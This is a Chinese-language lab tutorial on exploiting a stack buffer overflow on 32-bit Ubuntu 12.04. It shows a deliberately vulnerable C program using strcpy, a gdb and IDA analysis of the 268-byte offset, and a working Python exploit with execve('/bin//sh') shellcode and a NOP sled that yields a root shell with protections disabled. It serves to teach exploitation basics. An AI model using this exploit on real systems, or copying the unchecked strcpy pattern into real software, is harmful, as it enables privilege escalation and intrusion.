0.前言
缓冲区溢出有两种:栈溢出和堆溢出。将源缓冲区复制到目标缓冲区,可导致源字符串长度大于目标字符串长度,造成输入的数据覆盖了正常代码。同时,如果使用精心构造的代码覆盖正常代码,可以导致程序执行流程的改变,从而导致任意代码执行,例如,将返回值返回到一个shell,获得系统的root权限,造成危害。
1.环境及工具
虚拟机环境:Ubuntu 12.04 Desktop(x86) 工具:gdb-peda
2.漏洞程序的成因分析
2.1 漏洞代码
一个简单的含有栈溢出漏洞的代码如下:
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
strcpy(buf,argv[1]);
printf("Input:%s\n",buf);
return 0;
}
漏洞代码的位置为:strcpy(buf,argv[1]),因为源缓冲区内容是用户输入的,而strcpy函数直接将buf的内容复制到一块连续的内存当中。如果是正好256字节的输入还好,若是大于256字节,则多出来的部分会造成后续内存中的内容的覆盖。可以通过gdb调试来看一下。
2.2 调试
首先编译链接源代码,使之成为可执行文件。(在此提一下,需要先关闭栈保护,使栈变得可写,这个漏洞才能生效;关闭aslr地址随机化关闭),修改可执行文件的用户组为root,修改权限等。
然后开始调试,先输入大量的A使程序崩溃
查看程序崩溃时的状态(这里再次提一下linux下一个好用的调试工具peda,一个github很火的开源项目,地址 https://github.com/longld/peda 可以自行安装)
看到esp为0xbffff1f0,可以知道buffer结束地址为0xbffff1f0,buffer首地址为0xbffff0f0。 然后使用ida查看程序的汇编代码
.text:08048414 ; __unwind {
.text:08048414 push ebp
.text:08048415 mov ebp, esp
.text:08048417 and esp, 0FFFFFFF0h
.text:0804841A sub esp, 110h
.text:08048420 mov eax, [ebp+argv]
.text:08048423 add eax, 4
.text:08048426 mov eax, [eax]
.text:08048428 mov [esp+4], eax ; src
.text:0804842C lea eax, [esp+110h+dest]
.text:08048430 mov [esp], eax ; dest
.text:08048433 call _strcpy
.text:08048438 mov eax, offset format ; "Input:%s\n"
.text:0804843D lea edx, [esp+10h]
.text:08048441 mov [esp+4], edx
.text:08048445 mov [esp], eax ; format
.text:08048448 call _printf
.text:0804844D mov eax, 0
.text:08048452 leave
.text:08048453 retn
.text:08048453 ; } // starts at 8048414
只对关键语句解析:
.text:08048417 and esp, 0FFFFFFF0h //栈对齐,地位地位为二进制0000,四个尾随零意味着将屏蔽任何数字的四个低位。该数字将被2除以4的幂,即16位对齐。
.text:0804841A sub esp, 110h //栈的扩张从高地址到低地址
.text:08048433 call _strcpy //调用strcpy函数
由此我们可以算出,从buffer开始,0x10c=0x100(buffer的大小256字节)+0x8(对齐空间字节数)+0x4(调用者ebp的地址字节数),10进制为268字节。 再来试一下:输入A268+B4,可以看到eip成功被覆盖为4个B,测试成功。
3.编写exp
exp的构造思路如下:首先用合法字符对缓冲区进行填充,随后加入shellcode,获取到一个bash,将后面的正常代码用nop填充使其不执行。 python代码如下:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
ret_addr = 0xbffff1dd
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
def conv(num):
return struct.pack("<I",num)
buf = "A"*268
buf+=conv(ret_addr)
buf+= "\x90" * 100
buf+= scode
print"Calling vulnerable program" call(["./vuln", buf])
其中ret_addr的值,满足以下条件即可:1.程序执行时合法。2不再nop的范围内。结果如下
可以看到通过执行exp成功获取了系统的root权限。